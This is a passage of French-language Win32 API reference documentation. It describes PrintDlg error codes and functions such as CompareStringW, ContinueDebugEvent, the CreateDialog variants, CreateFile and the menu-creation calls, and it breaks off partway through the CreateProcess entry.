PDERR_CREATEICFAILURE (0*100A) | Indique que la fonction PrintDlg a échoué quand il a essayé de créer un contexte de l'information.
PDERR_DEFAULTDIFFERENT (0*100C) | Indique qu'une application a appelée la fonction PrintDlg avec le flag DN_DEFAULTPRN dans le membre wDefault de la structure DEVNAMES, mais que l'imprimante décrite par d'autres membres de cette structure ne correspondent pas à l'imprimante par défaut actuelle. (ça arrive quand une application stocke la structure DEVNAMES et que l'utilisateur change d'imprimante par défaut en utilisant le Panneau de configuration.) Pour employer l'imprimante décrite par la structure DEVNAMES, l'application doit purifier le flag DN_DEFAULTPRN et appeler la fonction PrintDlg à nouveau. Pour utiliser l'imprimante par défaut, l'application doit remplacer la structure DEVNAMES (et la structure DEVMODE, si elle existe) par un NULL; ainsi l'imprimante par défaut est automatiquement choisit.
PDERR_DNDMMISMATCH (0*1009) | Indique que les données dans les structures DEVMODE et DEVNAMES décrivent deux imprimantes différentes.
PDERR_GETDEVMODEFAIL (0*1005) | Indique que le Driver de l'imprimante n'a pas réussit à initialiser la structure DEVMODE. (Cette valeur d'erreur s'applique seulement aux Drivers d'imprimantes écrits pour des versions de Windows3.0 et suivantes.)
PDERR_INITFAILURE (0*1006) | Indique que la fonction de PrintDlg a échoué pendant l'initialisation.
PDERR_LOADDRVFAILURE (0*1004) | Indique que la fonction PrintDlg n'a pas réussit à charger le Device Driver de l'imprimante indiquée. (le VxD de l'imprimante).
PDERR_NODEFAULTPRN0 (0*1008) | Indique que l'imprimante par défaut n'existe pas.
PDERR_NODEVICES0 (0*1007) | Indique qu'aucuns Drivers pour l'imprimante n'ont pu êtres trouvés.
PDERR_PARSEFAILURE (0*1002) | Indique que la fonction PrintDlg n'a pas réussit à faire l'analyse syntaxique des chaînes de caractères dans la section [devices] du fichier WIN.INI.
PDERR_PRINTERNOTFOUND (0*100B) | Indique que la section [devices] du fichier WIN.INI ne contient pas d'entrée pour l'imprimante demandée.
PDERR_RETDEFFAILURE (0*1003) | Indique que le flag PD_RETURNDEFAULT a été mis dans le membre 'flags' de la structure PRINTDLG, mais que soit le membre hDevMode soit le membre hDevNames était non nuls.
PDERR_SETUPFAILURE (0*1001) | Indique que la fonction PrintDlg n'a pas pu charger les ressources exigées.

Voir Aussi

ChooseColor, ChooseFont, FindText, GetFileTitle, GetOpenFileName, GetSaveFileName, PrintDlg, ReplaceText


CompareFileTime (new for Win32)

LONG CompareFileTime(lpft1, lpft2)

LPFILETIME lpft1;	/* adresse de temps du fichier 1 */
LPFILETIME lpft2;	/* adresse de temps du fichier 2 */

La fonction CompareFileTime compare la date de création de deux fichiers à 64 bits.

Paramètre 	Description

Lpft1 	 	Pointe sur une structure FILETIME la quelle récupère la date de création du 1er
        fichier 64 bits.
Lpft2 	 	Pointe sur une structure FILETIME la quelle récupère la date de création du 2e
        fichier 64 bits.

Retours

La valeur en retour est une des valeurs suivantes :

Valeur 	 Signification

-1	 La date du fichier 1 est inférieur à la date du second.
 0	 Les deux dates sont égales.
+1	 La date du fichier 1 est supérieur à la date du second.

Voir Aussi

GetFileTime


CompareStringW

int CompareStringW(lcid, dwCmpFlags, lpString1, cchCount1, lpString2, cchCount2)

LCID lcid;
DWORD dwCmpFlags;
LPWSTR lpString1;
int cchCount1;
LPWSTR lpString2;
int cchCount2;
La fonction CompareStringW compare deux chaînes de caractères en partant du même endroit.

Paramètre 	 Description

lcid 	 	 Contexte du lieu de la comparaison.
dwCmpFlags 	 Indique quels genres de caractère sont utilisés/ignorés pour la comparaison
         des deux chaînes de caractères. Plusieurs flags peut être combinés (dans le
         cas de cette fonction, il n'y a aucunes combinaisons illégales de flags).
         Les flags de comparaison incluent :

            Valeur 	  	Signification

         NORM_IGNORECASE 	Ignore la différence entre les Majuscules et Minuscules.
                      Mis à OFF par défaut.
         NORM_IGNORENONSPACE 	Ignore les non espacement; Mis à OFF par défaut.
         NORM_IGNORESYMBOLS 	Ignore les symboles; Mis à OFF par défaut.

LpString1 et lpString2 	 Les deux chaînes à comparer.
CchCount1 et cchCount2 	 les nb de caractères des deux chaînes. Ces deux nb n'incluent pas le
         nul de terminaison (s'il y en a un). Si cchCount1 ou bien cchCount2 est mis
         à -1, la chaîne de caractères correspondante est tenue de se terminer par un
         nul et sa longueur sera calculée automatiquement.

Retours

Succès : 1,2,ou 3

1 si lpString1 est inférieure à lpString2
2 si lpString1 est égale à lpString2
3 si lpString1 est supérieure à lpString2

Échec : 0

Cette fonction met GetLastError avec les valeurs suivantes : ERROR_INVALID_PARAMETER.

Commentaires
Si la valeur en retour est 2, les deux chaînes sont "égales" dans le sens de comparaison, quoique non nécessairement identiques pour autant (c'est-à-dire, dans le cas où on ignore les différences entre Majuscules Minuscules, etc).

Si les deux chaînes de caractères sont de longueurs différentes, elles sont comparées jusqu'à la longueur de la plus courte des deux. Si elles sont égales jusqu'à ce point, alors la valeur en retour indiquera que la chaîne la plus longue est plus grande.
Pour obtenir la convention C runtime des chaînes, la valeur 2 peut être soustraite de la valeur de retour (qui doit être non-nulle). La signification de < 0, == 0 et > 0 est alors compatible avec les C runtimes.


ContinueDebugEvent (New for Win32)

BOOL ContinueDebugEvent (idProcess, idThread, fdwContinueStatus)

DWORD idProcess; 	 /* indique  quel process doit être repris grâce à son ID */
DWORD idThread; 	 /* indique quel lien doit être repris grâce à son ID	*/
DWORD fdwContinueStatus; 	 /* indique de quel façon on fait pour reprendre le tout */

La fonction ContinueDebugEvent permet à un debugger de reprendre le lien qu'il avait
précédemment suspendu dans le programme cible quand celui-ci avait recontré un 'Debugging
événement'.

Paramètre 	 Description

idProcess 	 indique  quel Process doit être repris grâce à son ID.
idThread 	 indique quel lien doit être repris grâce à son ID. La combinaison des IDs
         du process et du lien doit identifier un lien qui a précédemment rencontré
         un 'Debugging événement'.
fdwContinueStatus 	 indique comment reprendre ce lien.

Valeur (de fdwContinueStatus)  Signification

DBG_CONTINUE 		Si le lien indiqué par idThread a précédemment annoncé un événement du
            type EXCEPTION_DEBUG_EVENT, la fonction arrête tout le traitement
            d'exception et reprend le lien. Pour un autre événement, ce Flag
            reprend simplement le lien.

DBG_EXCEPTION_NOT_HANDLED 	Si le lien indiqué par idThread a précédemment annoncé un
                événement du type EXCEPTION_DEBUG_EVENT, la fonction reprend le
                traitement d'exception. S'il provient d'un tout premier
                événement de type exception (pour indiquer le lancement de la
                cible, ou qu'on vient de s'attacher à une cible déjà en route),
                alors l'entraîneur d'exception structuré search/dispatch est
                normalement invoqué. Autrement, le process est terminé.
                Pour un autre événement, ce Flag reprend simplement le lien.

Retours

La valeur en retour est TRUE si la fonction était couronnée de succès, ou FALSE si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

Seul le lien qui a créé idProcess grâce la fonction CreateProcess peut appeler
ContinueDebugEvent.

Si tout s'est bien passé, le lien indiqué est repris. Selon le 'Debugging événement'
précédemment annoncé par le lien, peut provoquer certains effets secondaires.
Si le lien qui a été repris a précédemment annoncé un EXIT_THREAD_DEBUG_EVENT, alors la
fonction ContinueDebugEvent ferme le Handle du lien.
Si le lien qui a été repris a précédemment annoncé un EXIT_PROCESS_DEBUG_EVENT, alors la
fonction ContinueDebugEvent ferme les Handles du Process et du lien.

Voir Aussi

CreateProcess


CreateDialog

La macro CreateDialog crée une boîte de dialogue (une DialogBox) sans avoir recours à un modèle prédéfini d'un type de boîte en ressource. La macro CreateDialog utilise la fonction CreateDialogParam.

HWND CreateDialog (

HINSTANCE HINSTANCE, 	   // handle de l'instance de l'application (handle du programme)
LPCTSTR lpTemplate, 	   // identifie le nom de calibre de la DialogBox
HWND hWndParent, 	   // handle de la fenêtre parente
DLGPROC lpDialogFunc 	   // pointer de la procédure de cette DialogBox
);

Paramètres :

Instance	 Identifie l'instance du module (c'est le Handle du programme *.exe ou bien
         de la DLL) qui contient le calibre (les éléments de construction) de la
         DialogBox.
lpTemplate	 Identifie le calibre de boîte de dialogue. Ce paramètre est soit le pointer
         qui identifie une chaîne de caractères terminée par un caractère nul pour
         spécifier le nom du calibre de cette boîte de dialogue, soit une valeur
         (nb entier) laquelle spécifie l'identificateur (le n°ID) du calibre en tant que
         ressource pour la boîte de dialogue. Si le paramètre indique un identificateur
         de ressource, son mot de poids fort doit être zéro et son mot de poids faible
         doit contenir l'identificateur. Vous pouvez employer la macro MAKEINTRESOURCE
         laquelle se chargera de créer cette valeur.
hWndParent	 Identifie la fenêtre qui possède la boîte de dialogue. C'est le handle de la
         fenêtre parente de votre DialogBox.
lpDialogFunc	 Pointer sur la procédure de boîte de dialogue. Pour plus d'information à
         propos de cette procédure, voyez plutôt DialogProc.
Valeurs en Retour :

Si la fonction réussit, la valeur en retour est le handle de la boîte de dialogue.
Si la fonction échoue, la valeur en retour est un NULL.

Remarques :

La fonction CreateDialog emploie la fonction CreateWindowEx pour créer la boîte de dialogue. CreateDialog envoie alors un message WM_INITDIALOG (et un message WM_SETFONT si le calibre spécifie le style DS_SETFONT à la procédure de la boîte de dialogue. La fonction affiche la boîte de dialogue si le calibre spécifie le style WS_VISIBLE. Finalement, CreateDialog renvoie le handle de la fenêtre de la boîte de dialogue.
Après le retour de CreateDialog, l'application affiche la boîte de dialogue (si elle n'est pas déjà affichée) en employant la fonction ShowWindow. L'application détruit la boîte de dialogue en employant la fonction DestroyWindow.

Windows 95 : le système peut soutenir un maximum de 16,364 handles de fenêtre.

Voir Aussi :
CreateDialogIndirect, CreateDialogIndirectParam, CreateDialogParam, CreateWindowEx, DestroyWindow, DialogBox, DialogProc, ShowWindow, WM_INITDIALOG, WM_SETFONT


CreateDialogIndirect (Win32)

HWND CreateDialogIndirect(hinst, lpDialogTemplate, hwndOwner, dlgprc)

HANDLE hinst;				/* Handle Instance de l'application */
LPCDLGTEMPLATE lpDialogTemplate;	/* adresse du template */
HWND hwndOwner;				/* handle de la fenêtre parente */
DLGPROC dlgprc;				/* adresse de l'Instance de la procédure de Dialog */
Cette fonction crée une DialogBox sans modèle (non prédéfinit) de taille, de style et de Controls définis par son 'Template' (son calibre, ce qui la définit, son mode de construction) donné par le paramètre lpDialogTemplate. Le paramètre hwndOwner identifie la fenêtre de l'application (la fenêtre parente en réalité) qui possède cette DialogBox. La procédure de Dialog pointée par le paramètre 'dlgprc' traite n'importe quels messages reçus par la DialogBox.
Cette fonction CreateDialogIndirect envoie un message WM_INITDIALOG à la procédure de Dialog avant l'affichage de la DialogBox. Ce message permet à la procédure de Dialog d'initialiser ses Controls (des boutons par exemple).
CreateDialogIndirect retourne immédiatement après la création de la DialogBox. Elle n'attend pas la DialogBox pour commencer à traiter les entrée.

Paramètre 	 Description

hinst 	 	 Identifie le module (l'application ou la dll) créant la DialogBox. La fonction
         GetModuleHandle peut être appelée pour retrouver le Handle du module du
         process actuel.
lpDialogTemplate Pointe sur un bloc de mémoire qui contient la structure de données DLGTEMPLATE.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (Sa fenêtre parente)
dlgprc 	 	 Est l'adresse de l'Instance de la procédure de La DialogBox. Pour plus
         d'informations à propos de la DialogBox procédure, voyez la description de
         la fonction callback DialogProc.

Retours
La valeur en retour est le Handle de la fenêtre de la DialogBox. Cette valeur en retour est un NULL si la fonction n'a pas pu créer la DialogBox ou bien ses Controls (ses boutons et autres objets la concernant).

Commentaires

La fonction CreateDialogIndirect peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Utilisez le style WS_VISIBLE dans le 'Template' de la DialogBox si celle-ci doit apparaître dans la fenêtre parente en création.

Voir Aussi

DefWindowProc, SetFocus, CreateDialog, CreateDialogParam, CreateDialogIndirectParam, DialogBoxParam, DialogBoxIndirectParam, DLGTEMPLATE


CreateDialogIndirectParam (Win32)

HWND CreateDialogIndirectParam(hinst, lpDialogTemplate, hwndOwner, dlgprc, lParamInit)

HANDLE hinst;				/* Handle Instance de l'application */
LPCDLGTEMPLATE lpDialogTemplate;	/* adresse du template */
HWND hwndOwner;				/* handle de la fenêtre parente */
DLGPROC dlgprc;				/* adresse de l'Instance de la procédure de Dialog */
LPARAM lParamInit;			/* valeur d'initialisation */
Cette fonction crée une DialogBox sans modèle (non prédéfinit), envoie un message WM_INITDIALOG à la fonction de la DialogBox avant de l'afficher et passe lParamInit en tant que message lParam. Ce message permet à la fonction de la DialogBox d'initialiser ses Controls (ses boutons et autres). Sinon pour le reste, cette fonction est identique à la fonction CreateDialogIndirect.
Pour plus d'informations sur la création d'une DialogBox sans modèle, voyez la description de la fonction CreateDialogIndirect.

Paramètre 	 Description

hinst 	 	 Identifie le module (l'application ou la dll) créant la DialogBox. La fonction
         GetModuleHandle peut être appelée pour retrouver le Handle du module du
         process actuel.
lpDialogTemplate Pointe sur un bloc de mémoire qui contient la structure de données DLGTEMPLATE.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (Sa fenêtre parente)
dlgprc 	 	 Est l'adresse de l'Instance de la procédure de La DialogBox. Pour plus
         d'informations à propos de la DialogBox procédure, voyez la description de
         la fonction callback DialogProc.
lParamInit 	 Est une valeur que CreateDialogIndirectParam passe en tant que paramètre
         'lParam' associé à un message WM_INITDIALOG pour la procédure de Dialog
         lorsqu'elle crée la DialogBox.

Retours
La valeur en retour est le Handle de la fenêtre de la DialogBox. Cette valeur en retour est un NULL si la fonction n'a pas pu créer la DialogBox ou bien ses Controls (ses boutons et autres objets la concernant).

Commentaires

La fonction CreateDialogIndirectParam peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

CreateDialogIndirect, CreateDialog, CreateDialogParam, DialogBoxParam, DialogBoxIndirectParam, WM_INITDIALOG, DLGTEMPLATE


CreateDialogParam (Win32)

HWND CreateDialogParam(hinst, lpszDlgTemp, hwndOwner, dlgprc, lParamInit)

HANDLE hinst;			/* Handle Instance de l'application */
LPCTSTR lpszDlgTemp;		/* adresse du nom du Template de la DialogBox */
HWND hwndOwner;			/* handle de la fenêtre parente */
DLGPROC dlgprc;			/* adresse de l'Instance de la procédure de Dialog */
LPARAM lParamInit;		/* valeur d'initialisation */
Cette fonction crée une DialogBox sans modèle (non prédéfinit), envoie un message WM_INITDIALOG à la fonction de la DialogBox avant de l'afficher et passe lParamInit en tant que message lParam. Ce message permet à la fonction (procédure) de la DialogBox d'initialiser ses Controls (ses boutons et autres). Sinon pour le reste, cette fonction est identique à la fonction CreateDialog.
Pour plus d'informations sur la création d'une DialogBox sans modèle, voyez la description de la fonction CreateDialog.

Paramètre 	 Description

hinst 	 	 Identifie le module (l'application ou la dll) créant la DialogBox. La fonction
         GetModuleHandle peut être appelée pour retrouver le Handle du module du
         process actuel.
lpDialogTemplate Pointe sur un bloc de mémoire qui contient la structure de données DLGTEMPLATE.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (Sa fenêtre parente)
dlgprc 	 	 Est l'adresse de l'Instance de la procédure de La DialogBox. Pour plus
         d'informations, voyez la description de la section Commentaires de la
         fonction CreateDialog.
lParamInit 	 Est une valeur que CreateDialogParam passe en tant que paramètre 'lParam'
         associé à un message WM_INITDIALOG pour la procédure de Dialog lorsqu'elle
         crée la DialogBox.

Retours
La valeur en retour est le Handle de la fenêtre de la DialogBox. Cette valeur en retour est un NULL si la fonction n'a pas pu créer la DialogBox.

Commentaires

La fonction CreateDialogParam peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

CreateDialog, CreateDialogIndirectParam, DialogBoxParam, DialogBoxIndirectParam, WM_INITDIALOG


CreateFile (nouveau pour Win32)

HANDLE CreateFile(lpszName, fdwAccess, fdwShareMode, lpsa, fdwCreate, fdwAttrsAndFlags,
          hTemplateFile)

LPCTSTR lpszName;		/* nom du fichier */
DWORD fdwAccess;	   	/* mode d'accès (lecture/écriture) */
DWORD fdwShareMode; 		/* mode de partage (entre plusieurs programmes) */
LPSECURITY_ATTRIBUTES lpsa;	/* attributs de sécurité en option */
DWORD fdwCreate;	 	/* façon de création */
DWORD fdwAttrsAndFlags;	 	/* attributs du fichier */
HANDLE hTemplateFile;	   	/* fichier facultatif avec attributs de copiage */

La fonction CreateFile crée, ouvre, ou tronque (écourte) un fichier, puis renvoie l'handle
du fichier pour pouvoir y accèder.

Paramètre 	 Description

lpszName 	 Pointe sur une chaîne de caractères terminée par un NULL laquelle représente
         le nom du fichier à créer ou à ouvrir.

        -------------------------------------------------------------------------------
fdwAccess	Représente le type d'accès au fichier (lecture et/ou écriture). Ce paramètre
        peut être une des combinaisons des valeurs suivantes :

        Valeur		 Signification

        GENERIC_READ	Accès en lecture. Ça permet aux données du fichier d'être lues
                et au pointer de fichier d'être modifié.
        GENERIC_WRITE 	Accès en écriture. Ça permet aux données du fichier d'être
                écrites et au pointer de fichier d'être modifié.
        -------------------------------------------------------------------------------

        -------------------------------------------------------------------------------
fdwShareMode	Indique comment ce fichier peut être partagé. Ce paramètre peut être une
        combinaison des valeurs suivantes :

        Valeur		Signification

        0		Le fichier ne peut pas être partagé.
        FILE_SHARE_READ D'Autres opérations d'ouvertures peuvent être exécutées sur le
                fichier pour un accès en lecture. Ce Flag doit être spécifié si
                la fonction CreateFile ouvre le client de fin d'une lettre.
        FILE_SHARE_WRITE D'Autres opérations d'ouvertures peuvent être exécutées sur le
                fichier pour des accès en écriture.
        -------------------------------------------------------------------------------

lpsa		Représente une structure de données SECURITY_ATTRIBUTES laquelle spécifie les
        attributs de sécurité du fichier. Le système de fichiers doit soutenir ce
        paramètre pour qu'il prenne effet.

         -------------------------------------------------------------------------------
fdwCreate	Spécifie la décision à prendre quand le fichier existe déjà, même chose si il
        n'existe pas encore. Voir la section des Commentaires pour plus d'informations.
        Ce paramètre doit être une des valeurs suivantes :

        Valeur		Signification

        CREATE_NEW	Crée un nouveau fichier. Échoue si le fichier indiqué existe
                déjà .
        CREATE_ALWAYS	Crée un nouveau fichier. Recopie le fichier s'il existe.
        OPEN_EXISTING	Ouvre le fichier. Échoue si le fichier n'existe pas.
        OPEN_ALWAYS 	Ouvre le fichier s'il existe. Si le fichier n'existe pas, on
                crée donc le fichier comme si fdwCreate était CREATE_NEW.
        TRUNCATE_EXISTING Ouvre le fichier. Échoue si le fichier n'existe pas. Une fois
                ouvert, le fichier est tronqué pour que sa taille soit des
                octets nuls. L'utilisateur doit ouvrir le fichier avec au moins
                le Flag d'accès GENERIC_WRITE.
        -------------------------------------------------------------------------------

        -------------------------------------------------------------------------------
fdwAttrsAndFlags
        Spécifie les attributs de fichier et les Flag du fichier. N'importe quelle
        combinaison des valeurs suivantes est acceptable, sauf que tous les autres
        attributs de fichier (FILE_ATTRIBUTE_ *) ne tiennent pas compte de l'attribut
        du fichier normal, FILE_ATTRIBUTE_NORMAL.

        Propriétés	Signification

        FILE_ATTRIBUTE_ARCHIVE	Le fichier est marqué en tant qu'archive.
        FILE_ATTRIBUTE_NORMAL 	Le fichier peut être lu ou écrit.
        FILE_ATTRIBUTE_READONLY	Le fichier ne peut être que lu.
        FILE_ATTRIBUTE_HIDDEN	Le fichier est un fichier caché.
        FILE_ATTRIBUTE_SYSTEM	Le fichier est un fichier système.
        FILE_ATTRIBUTE_TEMPORARY Le fichier doit uniquement être écrit si c'est
                     absolument nécessaire. La plupart des données du
                     fichier restent en mémoire, sans être divulguées
                     aux médias, parce que le fichier sera bientôt
                     supprimé.
        FILE_ATTRIBUTE_ATOMIC_WRITE Le fichier doit être écrit en employant la police
                     Atomic.
        FILE_ATTRIBUTE_XACTION_WRITE Le fichier doit être écrit en employant la
                     sémentique de transaction.

        flag 	 	 Signification

        FILE_FLAG_WRITE_THROUGH
                     Indique que le système doit toujours se servir d'une
                     mémoire cache comme intermédiaire avant d'écrire
                     directement dans le fichier. Le système peut toujours
                     écrire dans la cache.
        FILE_FLAG_OVERLAPPED
                     Indique que le système doit initialiser le fichier
                     sinon les opérations ReadFile, WriteFile,
                     ConnectNamedPipe et TransactNamedPipe qui prennent un
                     temps non négligeable au process rendront
                     ERROR_IO_PENDING. Un événement sera mis à l'état
                     signalé quand l'opération est terminé.
                     - Quand FILE_FLAG_OVERLAPPED est spécifié, le système
                     ne gardera pas le pointer représentant le fichier. On
                     doit passer la position du fichier comme un des
                     paramètres de la structure OVERLAPPED à ReadFile et
                     WriteFile. Le fait de spécifier le flag
                     FILE_FLAG_OVERLAPPED permet également exécuté plus
                     d'une opération en simultané sur cet handle (par
                     exemple une lecture écriture simultanée).
                     - Si ce flag est spécifié, les fonctions ReadFile et
                     WriteFile doivent spécifier elles aussi une structure
                     OVERLAPPED.
        FILE_FLAG_NO_BUFFERING
                     Indique que le fichier doit être ouvert sans
                     l'intermédiaire d'un buffer ou d'une mémoire cache.
                     La lecture et l'écriture du fichier doivent être faites
                     selon les capacités du secteur. L'adresse du Buffer de
                     lecture ou d'écriture doit être aligné à la capacité
                     du secteur du disque en mémoire. Vous pouvez déterminer
                     la taille du secteur grâce à la fonction
                     GetDiskFreeSpace.
        FILE_FLAG_RANDOM_ACCESS
                     Indique qu'on aura accès au contenu du fichier
                     aléatoirement. Win32 emploie ce flag pour optimiser la
                     cache du fichier.
        FILE_FLAG_SEQUENTIAL_SCAN
                     Indique que le fichier sera accessible séquentiellement
                     du début jusqu'à la fin; le pointer du fichier ne sera
                     pas modifié. Win32 emploie ce flag pour optimiser la
                     cache du fichier. Si une application modifie le pointer
                     du fichier, l'optimisation de la cache ne peut pas être
                     effectuée.
        FILE_FLAG_DELETE_ON_CLOSE
                     Indique que le système doit immédiatement supprimer le
                     fichier après qu'on ait refermé son Handle.
        FILE_FLAG_BACKUP_SEMANTICS
                     Indique que le système doit employer la sémantique dans
                     la création du fichier ou la consultation qui est
                     exigée pour des opérations de secours. Le paramètre
                     lpszName doit être être relatif au répertoire courant.
                     Les développeurs doivent employer cette option avec
                     soin car les fichiers créés avec ce flag ne seront pas
                     accessibles pour d'autres applications.
                     - Ce flag est seulement valable en sous Win32/NT.
                     - Si la fonction CreateFile est employée pour ouvrir la
                     partie Client d'un Pipe, le paramètre fdwAttrsAndFlags
                     doit aussi contenir l'information de 'Qualité de
                     Sécurité  du Service'. Lorsque l'application appelante
                     spécifie le flag SECURITY_SQOS_PRESENT, le paramètre
                     fdwAttrsAndFlags doit contenir une des combinaisons
                     suivantes :

                     Valeur 	 Niveau de Personnification

                     SECURITY_ANONYMOUS
                     Indique que le client doit être Anonyme.

                     SECURITY_IDENTIFICATION
                     Indique que le client doit être Identifié.

                     SECURITY_IMPERSONATION
                     Indique que le client doit être dépourvu de
                     personnification.

                     SECURITY_DELEGATION
                     Indique que le client doit être ….

                     Valeur 	 Signification

                     SECURITY_CONTEXT_TRACKING
                     Indique que le Mode Security Tracking doit être
                     Dynamique. Si ce flag n'est pas spécifié, le Mode
                     Security Tracking est Statique.

                     SECURITY_EFFECTIVE_ONLY
                     Indique que le contexte de sécurité du client doit
                     être entièrement disponible au serveur ou bien
                     seulement certains de ses aspects.

hTemplateFile 	 Représente un handle facultatif ayant l'accès GENERIC_READ pour accéder au
         calibre d'un fichier. Le calibre de ce fichier est employé pour définir les
         attributs d'un fichier nouvellement créé. Ces attributs incluent le
         descripteur de sécurité, les attributs du fichier et certains attributs
         supplémentaires (étendus). Lorsque le nouveau fichier est créé, les attributs
         appartenants au calibre de fichier sont employés lors de la création du nouveau
         fichier. Ces attributs ne tiennent pas compte des attributs normaux fournis en
         tant que paramètres explicites (tels que les paramètres lpsa ou
         fdwAttrsAndFlags).

Valeur en Retour

Si la fonction est couronnée de succès, la valeur de retour est le handle du fichier qu'on
vient d'ouvrir.
Si la fonction échoue, la valeur de retour est INVALID_HANDLE_VALUE. Employez la fonction
GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

En créant un nouveau fichier, CreateFile exécute les actions suivantes :
- Combine les attributs de fichier et flags indiqué par fdwAttrsAndFlags avec
FILE_ATTRIBUTE_ARCHIVE.
- Met la longueur du fichier à zéro.
- Si le paramètre hTemplateFile est spécifié, CreateFile copie le descripteur de sécurité et
les attributs de fichier associés au calibre de fichier au nouveau fichier. Sinon, le
descripteur de sécurité assigné au nouveau fichier provient du paramètre lpsa et les attributs
de fichier proviennent de fdwAttrsAndFlags.

En ouvrant un fichier existant, CreateFile exécute les actions suivantes :
- Combine les Flags du fichier indiqué dans fdwAttrsAndFlags avec les attributs du fichier.
- CreateFile ignore les attributs du fichier (FILE_ATTRIBUTES_ *) indiqué par fdwAttrsAndFlags.
- Met la longueur du fichier selon la valeur spécifiée dans fdwCreate.
- Ignore le paramètre hTemplateFile.
- Si le paramètre lpsa n'est pas NULL, CreateFile ignore le membre lpSecurityDescriptor de la
structure de SECURITY_ATTRIBUTES. Les autres paramètres de cette structure sont pris en compte;
le paramètre bInheritHandle est la seule façon d'indiquer si le handle du fichier peut être
hérité. (le fichier hérite des mêmes paramètre que son parent)

Si lpszName pointe sur le nom d'un pipe nommé (non anonyme), alors CreateFile ouvre la partie
client de ce pipe nommé. CreateFile emploiera n'importe quel 'instance' du pipe nommée qui est
dans un état d'écoute. Une fois ouvert par CreateFile, l' 'Instance' de ce pipe nommé ne peut
pas être ouvert par un autre client, mais process ainsi ouvert peut faire des doubles du handle
autant de fois qu'on en a besoin.
Si la fonction CreateFile est employée pour ouvrir le client (d'un ordi lointain) d'un mailslot,
la fonction renvoie toujours son handle avec succès, même si le mailslot n'existe pas.
Autrement dit, il n'y a aucun rapport entre l'ouverture du client (éloigné) et l'ouverture du
serveur (éloigné) du mailslot.

CreateFile peut être employé pour renvoyé le handle à une ressource de communication, comme le
port "COM1". Pour des ressources de communications, le paramètre fdwShareMode doit être mis
à 0 (accès exclusif), le paramètre fdwCreate doit être OPEN_EXISTING et le paramètre hTemplate
doit être NULL. L'accès en 'lecture', 'écriture', ou 'lecture/écriture' peut être spécifié et
le handle peut être ouvert pour des entrées/sortie OVERLAPPED (en simultanées).
CreateFile peut être employé pour renvoyer le handle d'un périphérique d'entré (ex le clavier),
"CONIN$". Il peut aussi renvoyer le handle du buffer actif de l'écran, "CONOUT$", si le process
possède un handle ouvert (par la succession ou la duplication). Pour "CONIN$" et "CONOUT$",
l'appel échouera si le process appelant n'est pas attaché à une console (soit une console
héritée soit une réservée par AllocConsole). "CONIN$" se réfère toujours à l'entrée du Buffer
de la console et "CONOUT$" est toujours attribué au Buffer actif de l'écran, même si
SetStdHandle a été employé pour faire suivre l'Entrée Standard et des Handles d'entré/sortie.
GetStdHandle peut être employé pour obtenir des Handles d'Entrée/Sorties Standard.

Exemple

Cet exemple retourne le handle du Buffer d'entré de la console actuelle:

hReadWriteInput = CreateFile ("CONIN$",
 GENERIC_READ | GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE, /* partage hndls avec cmd */
 NULL,
 OPEN_EXISTING, /* ouvre une console déjà existante */
 0, /* Ouvre un fichier normal */
 NULL
 );

Voir Aussi

CloseHandle, ConnectNamedPipe, CreateNamedPipe, GetOverlappedResult, OpenFile, GetDiskFreeSpace


CreateMenu

La fonction CreateMenu crée un menu. Le menu est initialement vide, mais il peut être rempli d'Items en employant les fonctions InsertMenuItem, AppendMenu et InsertMenu.

HMENU CreateMenu(VOID)

Paramètres

Cette fonction n'a aucuns paramètres.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est le handle du menu qui vient d'être créé.
Si la fonction échoue, la valeur en retour est NULL.

Remarques

Les ressources associées à un menu qui est assigné à une fenêtre sont libérées automatiquement. Si le menu n'est pas assigné à une fenêtre, l'application doit libérer les ressources du système associées au menu avant sa fermeture. L'application libère les ressources du menu en appelant la fonction DestroyMenu.
Windows 95 : le système peut soutenir un maximum de 16,364 menu handles.

Voir Aussi

AppendMenu, CreatePopupMenu, DestroyMenu, InsertMenu, SetMenu, InsertMenuItem


CreatePopupMenu

La fonction CreatePopupMenu crée un menu déroulant, un sous-menu, ou un raccourci menu. Le menu est initialement vide. Vous pouvez insérer ou ajouter des items en employant la fonction InsertMenuItem. Vous pouvez aussi employer la fonction InsertMenu pour insérer des items et la fonction AppendMenu pour ajouter des items.

HMENU CreatePopupMenu(VOID)

Paramètres

Cette fonction n'a aucuns paramètres.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est le handle du menu qui vient d'être créé.
Si la fonction échoue, la valeur de retour est NULL.

Remarques

L'application peut ajouter le nouveau menu à un menu existant, ou elle peut afficher raccourci de menu en appelant les Fonctions TrackPopupMenu ou TrackPopupMenuEx.
Les ressources associées à un menu qui est assigné à une fenêtre sont libérées automatiquement. Si le menu n'est pas assigné à une fenêtre, l'application doit libérer les ressources du système associées au menu avant sa fermeture. L'application libère les ressources du menu en appelant la fonction DestroyMenu.
Windows 95 : le système peut soutenir un maximum de 16,364 handles de menu.

Voir Aussi

AppendMenu, CreateMenu, DestroyMenu, InsertMenu, SetMenu, TrackPopupMenu, TrackPopupMenuEx, InsertMenuItem


CreateProcess (Win32)

BOOL CreateProcess(lpszImageName, lpszCommandLine, lpsaProcess, lpsaThread, fInheritHandles,
           fdwCreate, lpvEnvironment, lpszCurDir, lpsi, lppi)

LPCTSTR lpszImageName;			/* adresse del'image du nom du fichier */
LPCTSTR lpszCommandLine;		/* adresse de la command line */
LPSECURITY_ATTRIBUTES lpsaProcess;	/* attributs optionels pour le process  */
LPSECURITY_ATTRIBUTES lpsaThread;	/* attributs optionels pour le lien */
BOOL fInheritHandles;		/* le process cible hérite-il des propriétés de son parent? */
DWORD fdwCreate;			/* flags de création */
